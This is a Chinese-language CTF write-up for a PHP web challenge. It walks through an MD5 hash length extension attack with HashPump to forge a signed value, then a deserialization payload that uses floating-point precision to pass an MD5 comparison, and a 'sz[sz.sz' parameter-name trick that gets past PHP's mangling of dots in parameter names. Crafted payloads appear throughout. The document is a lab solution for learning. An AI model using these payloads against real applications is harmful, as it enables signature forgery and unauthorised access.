打了個醬油,
記錄下一些web題,雜項和其他賽題網上也挺多的,
由于打完沒直接寫,現在靶場也關了,無法逆推,所以自己修改了key值重新改了下hash,題目還是一樣,
原始碼:
<?php
include("key.php");
class person{
public $aa;
public $bb;
public $username;
public $password;
public function __construct($key=''){
$this->username="jxsz";
$this->password="jxsz";
if(strlen($key)==16&&md5($key . urldecode( $this->username . $this->password)=="2c16349ea6a20496e05fb40e6c128b8b")){
echo "Welcome";
}
}
public function __destruct(){
$this->aa = (string)$this->aa;
if(strlen($this->aa) > 5 || strlen($this->bb) > 5||preg_match('/INF|NAN|M_/i', $this->aa)){
die("no no no");
}
if($this->aa !== $this->bb && md5($this->aa) === md5($this->bb) && $this->aa != $this->bb){
echo file_get_contents("/flag");
}
}
}
highlight_file(__FILE__);
$person=new person($key);
$other_pwd=$_POST["pwd1"];
$other_hash=$_POST["hash_code"];
if(md5($key . urldecode("jxsz" . $other_pwd))==$other_hash&&strpos(urldecode($other_pwd),"szxy666")>0){
echo "66666666666";
unserialize($_GET['sz_sz.sz']);
}
原題:

首先我們需要達到以下條件,進入代碼段:
if(md5($key . urldecode("jxsz" . $other_pwd))==$other_hash&&strpos(urldecode($other_pwd),"szxy666")>0){
echo "66666666666";
unserialize($_GET['sz_sz.sz']);
}
才能對其進行反序列化,觀察代碼:
public function __construct($key=''){
$this->username="jxsz";
$this->password="jxsz";
if(strlen($key)==16&&md5($key . urldecode( $this->username . $this->password)=="2c16349ea6a20496e05fb40e6c128b8b")){
echo "Welcome";
}
}
可以知道這里能通過hash長度擴展攻擊進行繞過,
hash長度擴展攻擊的攻擊條件:
當知道 MD5(secret) 時,在不知道secret的情況下,可以很輕易的推算出 MD5(secret||padding||m’)
在這里m’ 是任意資料, || 是連接符,可以為空,padding是 secret 最后的填充位元組,
md5的padding位元組包含整個訊息的長度,因此,為了能夠準確的計算出padding的值,secret的長度也是我們需要知道的,
可以總結以下幾點:
- 準備了一個密文和一些資料構造成一個字串,并且使用了MD5之類的哈希函式生成了一個哈希值(也就是所謂的signature/簽名),
- 讓攻擊者可以提交資料以及哈希值,但是攻擊者不知道密文,
- 服務器把提交的資料跟密文構造成字串,并經過哈希后判斷是否等同于提交上來的哈希值,
這里可以直接使用HashPump這個工具來構造hash長度擴展攻擊payload:
github專案地址:https://github.com/bwall/HashPump
由于我們還要繞過strpos(urldecode($other_pwd),"szxy666")>0,所以需要將擴展填充資料置為szxy666,以此進行繞過,

d6659e29cc6a0878d07b19dd29a70ddc
jxsz\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xc0\x00\x00\x00\x00\x00\x00\x00szxy666
將\x替換成%,接著傳入引數中:
pwd1=jxsz%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%c0%00%00%00%00%00%00%00szxy666&hash_code=d6659e29cc6a0878d07b19dd29a70ddc

成功繞過執行并輸出66666666666,
接著我們要做的就是反序列化繞過md5比較,而上面將比較值進行過濾,值長度不能大于5,并且過濾了INF|NAN|M_等繞過方法,這里還是可以通過高精度進行繞過:
參考鏈接:https://www.cnblogs.com/phpper/p/7664069.html
序列化:
class person{
public $aa;
public $bb;
}
$float=new person();
$float->aa=0.8 * 7;
$float->bb=7 * 0.8;
var_dump(serialize($m));
?>
構造payload如下:

O:6:"person":2:{s:2:"aa";d:5.6000000000000005;s:2:"bb";d:5.6000000000000005;}
然而發現unserialize($_GET['sz_sz.sz']);引數名帶中有含有特殊字符.,可以看下在php對字符.等特殊字符的過濾機制:https://github.com/php/php-src/commit//fc4d462e947828fdbeac6020ac8f34704a218834?branch=fc4d462e947828fdbeac6020ac8f34704a218834&diff=unified
在其中,我們可以很明確的看到發現空格或.或[,php會將其替換為_,而代碼中可以看出只會將特殊字符替換一次,
我們可以利用特殊字符會替換為_,而只會替換一次的特殊字符的處理機制,將引數改為sz[sz.sz,這樣的話,php就會將[當成特殊字符,而將其替換為_,由于替換一次的機制,所以.就繞過了過濾機制不被替換,
所以我們構造的引數名為sz[sz.sz,
直接傳入序列化的:
O:6:"person":2:{s:2:"aa";d:5.6000000000000005;s:2:"bb";d:5.6000000000000005;}
payload:
?sz[sz.sz=O:6:"person":2:{s:2:"aa";d:5.6000000000000005;s:2:"bb";d:5.6000000000000005;}
成功拿到flag,

flag{hashparse+sz_sz.sz}
轉載請註明出處,本文鏈接:https://www.uj5u.com/qianduan/34776.html
標籤:其他
